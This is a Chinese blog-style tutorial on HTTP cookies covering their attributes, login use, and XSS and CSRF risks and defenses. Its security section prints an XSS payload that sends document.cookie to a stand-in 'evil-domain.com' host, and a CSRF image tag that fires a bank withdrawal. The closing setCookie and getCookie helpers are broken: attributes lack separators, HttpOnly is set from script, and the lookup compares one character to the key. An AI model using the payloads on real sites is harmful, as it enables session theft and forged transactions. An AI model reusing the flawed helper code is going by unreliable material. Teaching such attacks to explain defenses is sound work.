HTTP cookie

HTTP cookie

什么是cookie

因为HTTP的无状态特性，服务器无法分辨记录用户端状态。Cookie是浏览器上的一个短期或永久的k-v形式的本地存储空间，用于记录用户的浏览状态（如是否登录，或者浏览信息），属于服务端技术（由服务器通过http头部set-cookie设置）。Cookie一般被用在哪些场合呢，可以参考一下Google使用的Cookie类型。

cookie的特性

• 每次向该服务器发起请求时，其所有的请求头部中（新浏览器中，因为SameSite默认值为Lax，所以请求img, js, css时不会携带）都会携带cookie的值

• cookie的k-v对个数有限，最大容量在4K

• 每一组k-v可配置项：

  • 默认为会话时间；可指定过期时间Expires或有效期Max-Age(客户端时间)
  • Secure: 只能通过HTTPS协议加密过的请求发送
  • HttpOnly: 避免跨域脚本攻击，标记后无法通过document.cookie访问
  • 作用域标识，Domain标识接受该路径的域名; path标识接受该cookie的路径
  • SameSite:Strict/Lax(新浏览器默认值)/None（等同于不支持SameSite的浏览器的设置）分别表示只允许相同站点请求的cookie；只在用户从外部站点导航到URL时发送，如link链接；同站或跨站请求都发送。

  一级域名又称为顶级域名，一般由字符串+后缀组成。熟悉的一级域名有baidu.com，qq.com。com，cn，net等均是常见的后缀。
  二级域名是在一级域名下衍生的，比如有个一级域名为mcrfun.com，则blog.mcrfun.com和www.mcrfun.com均是其衍生出来的二级域名。

  作者：mcrwayfun
  链接：https://www.jianshu.com/p/6fc9cea6daa2

  注意：script.example.com和www.example.com属于不同的域

  配置使用示例：

  Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Path=/;Domain=mozilla.org;Secure; HttpOnly
  

浏览器cookie实例：

image-20200311194145885.png

已经过时的用法：曾被用作客户端数据的存储，现在已被web storage api或indexedDB取代。因为cookie每次都会随请求被携带，所以会占用带宽。

为什么要使用cookie呢？

HTTP协议是无状态的，数据交换后便会断开链接，那么服务器如何获取用户状态呢？想象这样的场景：

• 需要用户登录的应用(如后台管理系统、购物系统、游戏积分)，未登录用户和已登录用户需要看到不同的网页内容，且简化用户操作（想象一下浏览淘宝的时候，没点击一个新的页面都要登录一次的痛苦）。那么服务器端如何判定用户是否已经登录了呢？
• 或者用户个性化的设置(如主题，偏好的语言)

cookie的使用实例

那么以登录为例，我需要记录哪些登录信息呢？

userId?+password?

用户名可以单一地标识帐号，但是只凭用户名不能确定用户的合法性。那么加上加密过的密码呢，甚至更保险点，用户名和密码同时都加密，后端再解密，并查询相应的数据库表格斤进行对比。

看到有博客仅把用户名通过某种规则进行加密，然后看是否与后端的加密规则一致的方式进行验证。这种方法和上述方法的问题在于，不良分子一旦获取了这样具有敏感信息的cookie，它便可以通过cookie登录你的帐号，获取你的隐私信息。

安全

上面所述的安全问题，不法分子如何获取呢

• 跨域脚本攻击(XSS)

(new Image()).src="http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

• 跨站请求伪造(CSRF)👉维基百科

比如在不安全聊天室或论坛上的一张图片，它实际上是一个给你银行服务器发送提现的请求。如果你刚刚进行了银行网站的操作，还保留有敏感的cookie

<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

避免这种危险的方法包括：

1. 给敏感的cookie设置secure, http-only，限制用户使用HTTPS安全传输协议或者尽量减少XSS（跨域脚本攻击）的可能性
2. 设置Max-age, Expires, 添加cookie过期时间
3. 任何敏感操作都需要确认

思考

照理说cookie应该由服务器端设置，因为就上面的用法来看，若由前端进行设置，其加密方法都可以通过浏览器端的JS看到。为什么cookie还可以通过前端JS写入呢？比如js常常会使用的setCookie和getCookie方法

function setCookie(key, value, days,){//day=cookie保存天数
    var date=new Date();
    date.setDate(date.getDate()+days)//简单演示，没有加错误输入验证
    
    //可以加上HttpOnly，Secure参数，确认是否添加
    document.cookie=key+"="+value+"Expires="+date+"HttpOnly;Secure"
}

function getCookie(key){
    var cookies=document.cookie.split(";");
    for(var i=0; i<cookies.length; i++){
        var cookie=cookies[i]
        if(cookie[0]===key){
            return cookie[1];
        }
    }
}

function removeCookie(key){
    setCookie(key, '', -1);
}

参考文档

关于Cookie的隐私问题，僵尸Cookie以及请求首部禁止追踪(DNT)都可以访问下面的链接了解更多

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Cookies